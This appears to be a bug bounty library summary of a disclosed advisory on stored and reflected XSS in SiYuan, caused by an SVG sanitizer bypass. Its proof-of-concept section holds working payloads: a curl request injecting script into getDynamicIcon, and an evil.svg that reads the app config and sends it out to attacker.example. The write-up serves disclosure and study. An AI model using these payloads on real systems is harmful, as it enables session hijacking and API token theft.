# SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass

SiYuan's HTML-based SVG sanitizer misses a script hidden in <desc><style>, so a crafted SVG runs JS in the app origin via a link or planted asset.

- Payout: Research
- Severity: high
- Program: SiYuan
- Found by: JoyGhoshs
- Disclosed: 2026-09-03
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-99rq-75j6-5j9f
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-99rq-75j6-5j9f
- Tags: area:web domain:web impact:ato impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:parser-differential vuln:xss

**Target:** SiYuan kernel HTTP endpoints serving SVG (getDynamicIcon API, /assets/*.svg)
**Root cause:** util.SanitizeSVG parses input with an HTML parser, where <desc>/<title> are integration points and <style>/<xmp>/<noscript> are raw-text elements whose contents are never seen as child nodes; the browser re-parses the same bytes as XML/SVG, where <style> is a normal container and the smuggled <script> becomes a live SVG script node.
**Steps:**
1. Confirm plain `<svg><script>alert(1)</script></svg>` is stripped by SanitizeSVG.
2. Bypass with `<svg><desc><style><script>alert(1)</script></style></desc></svg>` — output unchanged.
3. Reflected: `curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' --data-urlencode 'type=8' --data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'` returns `Content-Type: image/svg+xml` with live script.
4. Stored: write `data/assets/evil.svg` containing `<svg xmlns="http://www.w3.org/2000/svg"><desc><style><script>fetch('/api/system/getConf',{method:'POST'})...</script></style></desc></svg>`.
5. Open `/assets/evil.svg` directly (or via iframe/embed/object, not img) as a signed-in user; script executes in app origin.
**How found:** Noticed the sanitizer parses as HTML while the browser parses served SVG as XML; hypothesized parser differential around HTML integration points and raw-text elements, then built and ran the real SanitizeSVG to confirm <desc><style> smuggling survives.
**Exploitation:** Victim opens one crafted link to getDynamicIcon (type=8, unescaped content) or a planted .svg asset; the SVG script runs in the SiYuan origin, calls the authenticated kernel API to read/write notes and files, read config, and exfiltrate the API token to an attacker host — full workspace takeover in the desktop app origin.
**Escalation:** Script in app origin can call signed-in kernel APIs, enabling note/file read-write, config read and API token theft; stored variant lets one user's asset/template/sync payload hit other users on the publish site.
**Insight:** When a sanitizer's parser differs from the consumer's parser, look for HTML integration points (<desc>, <title>, <foreignObject>) and raw-text elements (<style>, <xmp>, <noscript>) that hide markup from the sanitizer but not from the XML/SVG renderer.

## Proof of concept (copied exactly from the original report)

**Reflected XSS curl request to getDynamicIcon**

```
curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'
```

**Stored XSS planted evil.svg asset**

```
<svg xmlns="http://www.w3.org/2000/svg"><desc><style><script>
fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text())
  .then(t=>{new Image().src='https://attacker.example/?'+encodeURIComponent(t)});
</script></style></desc></svg>
```

**Sanitizer bypass input/output demonstration**

```
IN : <svg><script>alert(1)</script></svg>
OUT: <svg></svg>                                                     (removed)

IN : <svg><desc><style><script>alert(1)</script></style></desc></svg>
OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg>   (kept, runs)
```

